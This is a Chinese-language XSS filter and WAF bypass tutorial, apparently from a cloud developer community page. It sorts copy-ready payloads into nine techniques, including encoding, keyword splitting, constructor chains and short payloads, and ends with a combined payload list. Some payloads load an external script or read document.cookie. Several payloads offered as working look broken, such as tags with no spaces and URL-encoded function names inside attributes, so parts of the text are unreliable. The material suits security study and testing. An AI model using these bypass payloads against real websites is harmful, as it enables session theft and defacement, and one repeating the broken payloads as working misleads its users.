XSS漏洞绕过方法汇总

作为Web安全入门核心知识点,XSS跨站脚本攻击是渗透测试中最常见的漏洞,但过滤规则常常让新手无从下手,只会用<script>alert(1)</script>测试,弹窗失败就放弃。其实XSS绕过的关键很简单:摸清目标过滤规则,利用浏览器和JS的解析特性,用等价形式还原恶意代码。

我整理了一些基础的绕过方法,从简单的标签/空格过滤,到进阶的WAF绕过、短Payload编写,所有Payload均可直接复制测试。
本文内容仅用于网络安全技术交流和学习,严禁用于未授权测试!

一、XSS核心原理

XSS的本质是Web应用对用户输入的过滤/转义不严格,攻击者注入的恶意JavaScript代码,被浏览器当作合法代码解析并执行。简单说,就是网站无法区分正常文本和恶意脚本,直接把用户输入渲染到页面上,最终导致代码执行。
所有XSS攻击的执行逻辑都逃不过这三步,任何绕过手法都是为了完成这个流程:

  1. 注入:通过表单、URL参数、评论区等用户输入场景,插入恶意JS代码;
  2. 渲染:网站未对恶意代码做过滤/转义,直接将其嵌入HTML页面返回给浏览器;
  3. 执行:浏览器解析页面时,将嵌入的恶意代码当作合法JS执行,实现攻击。

二、XSS漏洞探测

新手最容易踩的坑:一上来就用Payload测试,弹窗失败就认为没有漏洞。建议先用探针Payload验证漏洞存在性,判断目标是否过滤标签、哪些字符被转义,再针对性绕过。

1. 探测思路

用无危害的简单HTML标签测试,若页面能正常解析标签的样式/结构,说明用户输入未被完全转义,存在XSS漏洞的基础;若标签被转义(如<被转为&lt;),则说明过滤较严格,需用进阶绕过手法。

2. 探针Payload

<s>123</s>
<b>123</b>
<i>123</i>
<u>123</u>
<h1>123</h1>
'</textarea><s>123</s>

三、9大常见XSS绕过手法

1 标签/关键字过滤绕过

思路:利用HTML解析不区分大小写的特性,或双写关键字消耗过滤规则,规避对scriptimgonerror等核心标签/事件的直接过滤;同时替换<script>为合法标签的事件属性,实现代码执行。
Payload

<!-- 替换script标签,基础绕过 -->
<img src=x onerror="alert(1)">
<!-- 大小写混淆 -->
<ImG sRc=x OnErRoR="alert(1)">
<!-- 双写关键字 -->
<imimgg src=x ononerrorerror="alert(1)">
<scr/*comment*/ipt>alert(1)</scr/**/ipt>

2 空格过滤绕过

思路:针对仅过滤单个空格、未做全局匹配的情况,用多空格消耗单次过滤,或用URL编码换行符、斜杠、无空格拼接等方式替代普通空格,浏览器均可正常解析。
Payload

<!-- 多空格绕过 -->
<img  src=x onerror="alert(1)">
<!-- URL编码换行符替代空格 -->
<img%0asrc=x%0aonerror=alert(1)>
<!-- 斜杠替代空格 -->
<img/src=x/onerror=alert(1)>
<!-- 无空格直接拼接 -->
<imgsrc=xonerror=alert('XSS')>

3 函数/完整关键字过滤绕过

思路:针对alert等函数关键字的直接过滤,双写函数名让过滤规则匹配删除后还原完整关键字;或拆分关键字为多个字符串拼接、用构造函数间接调用,规避对完整关键字的特征匹配。
Payload

<!-- 双写函数名 -->
<img src=x onerror=alalertert('XSS')>
<!-- 字符串拆分拼接 -->
<img src=x onerror="window['a'+'l'+'e'+'r'+'t']`1`">
<!-- Function构造函数间接执行 -->
<img src=x onerror=Function('al'+'ert(1)')()>

4 括号过滤绕过

思路:利用JS ES6语法特性,用反引号替代小括号实现函数调用;或通过异常抛出的方式实现无括号函数执行,完美规避对()的全局过滤。
Payload

<!-- 反引号替代括号 -->
<img src=x onerror="alert`1`">
<!-- 异常抛出实现无括号执行 -->
<script>onerror=alert;throw 'XSS'</script>
<script>{onerror=alert}throw 'XSS'</script>

5 字符编码混淆绕过

思路:将明文字符转为Unicode转义编码、HTML十进制/十六进制实体编码,利用浏览器自动解码的特性,规避对明文字符的静态匹配过滤,是最常用的混淆绕过手法。
Payload

<!-- Unicode转义编码 -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<!-- HTML十进制实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<!-- HTML十六进制实体编码 -->
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">

6 注释/换行符号混淆绕过

思路:在关键字、属性中插入HTML/JS注释,或用换行符分隔代码,过滤规则会匹配注释内容而忽略有效代码;浏览器解析时会自动忽略注释,不影响代码执行。
Payload

<!-- 注释混淆 -->
<img src=x one/**/rror=alert('XSS')>
<scr/*comment*/ipt>alert(1)</scr/**/ipt>
<!-- 换行符分隔代码 -->
<img src=x 
onerror
=
alert(1)>

7 无标签/无引号过滤绕过

思路<>标签被全局过滤时,利用页面现有标签的事件属性,闭合原有引号后注入恶意代码;单/双引号被过滤时,用数字/正则参数、String.fromCharCode替代引号包裹字符串。
Payload

<!-- 无<>标签,利用现有属性注入 -->
hello' onmouseover='javascript:alert(1)'
<!-- 无引号,数字/正则参数 -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(/XSS/)>
<!-- 无引号,String.fromCharCode拼接 -->
<script>alert(String.fromCharCode(88,83,83))</script>

8 WAF基础过滤绕过

思路:针对企业WAF的特征匹配防护,通过URL编码替代特殊符号、Base64解码/数组构造函数混淆关键字、多重编码绕开WAF的单一解码检测,实现WAF穿透。
Payload

<!-- URL编码替代等号 -->
<svg><animate attributeName%3dx onbegin%3dalert(1)>
<!-- Base64解码混淆关键字 -->
<script>eval(atob('YWxlcnQoMSk='))</script>
<!-- 数组构造函数间接执行 -->
<script>[]['constructor']['constructor']('alert(1)')()</script>
<!-- URL+HTML多重编码 -->
<img src=x onerror="%61%6c%65%72%74(1)">

9 长度受限场景-短Payload绕过

思路:针对用户输入有长度限制的场景,精简Payload结构,使用最短的标签+事件组合实现最小化注入,部分短Payload可直接绕开长度限制的过滤规则。
Payload

<!-- 最短外部JS载入Payload -->
<script src=//NJ></script>
<!-- 常用短Payload,18字符 -->
<marquee onstart=alert(1)>
<!-- 精简版短Payload -->
<svg onload=alert(1)>

四、实战Payload合集

<svg onload=alert(1)> 
<input onfocus=alert(1) autofocus> 
<img src=x onerror=alert(1)>
<body onpageshow=alert(1)> 
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>

五、Payload测试与优化

写好的Payload不一定能直接在目标环境生效,结合以下技巧做针对性测试和优化,能大幅提升成功率。

1.Payload混淆优化

对核心Payload做字符编码、函数嵌套等混淆处理,绕开目标的特征检测,示例如下:
原始Payload

alert(document.cookie);

混淆后Payload

eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));

2.实战优化技巧

根据目标的前端框架、后端语言,调整编码方式和Payload结构;
单一手法失效时,直接组合多种绕过手法(如大小写+编码+拼接);
持续关注浏览器新特性和WAF绕过技术,及时更新自己的Payload库。

六、XSS绕过核心思路

所有XSS绕过手法的底层逻辑都是相通的,掌握这5个核心思路,不用死记硬背Payload,也能应对绝大多数过滤场景:

  1. 先探后绕:先用探针Payload判断标签是否被解析、哪些字符被过滤,不盲目测试;
  2. 等价替代:被过滤的字符、标签、函数,都找其等价形式(括号→反引号、script→img+onerror);
  3. 编码混淆:明文字符被过滤时,优先用Unicode、HTML实体编码,浏览器自动解码是绕过滤的“利器”;
  4. 组合绕过:单一手法失效时,立即组合多种手法,多重混淆更易绕过;
  5. 精简适配:根据目标的限制(长度、标签、符号),调整Payload结构,按需适配。

七、全文档Payload汇总

<s>123</s>
<b>123</b>
<i>123</i>
<u>123</u>
<h1>123</h1>
'</textarea><s>123</s>
<img src=x onerror="alert(1)">
<ImG sRc=x OnErRoR="alert(1)">
<imimgg src=x ononerrorerror="alert(1)">
<scr/*comment*/ipt>alert(1)</scr/**/ipt>
<img  src=x onerror="alert(1)">
<img%0asrc=x%0aonerror=alert(1)>
<img/src=x/onerror=alert(1)>
<imgsrc=xonerror=alert('XSS')>
<img src=x onerror=alalertert('XSS')>
<img src=x onerror="window['a'+'l'+'e'+'r'+'t']`1`">
<img src=x onerror=Function('al'+'ert(1)')()>
<img src=x onerror="alert`1`">
<script>onerror=alert;throw 'XSS'</script>
<script>{onerror=alert}throw 'XSS'</script>
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">
<img src=x one/**/rror=alert('XSS')>
hello' onmouseover='javascript:alert(1)'
<img src=x onerror=alert(1)>
<img src=x onerror=alert(/XSS/)>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg><animate attributeName%3dx onbegin%3dalert(1)>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>[]['constructor']['constructor']('alert(1)')()</script>
<img src=x onerror="%61%6c%65%72%74(1)">
<script src=//NJ></script>
<marquee onstart=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐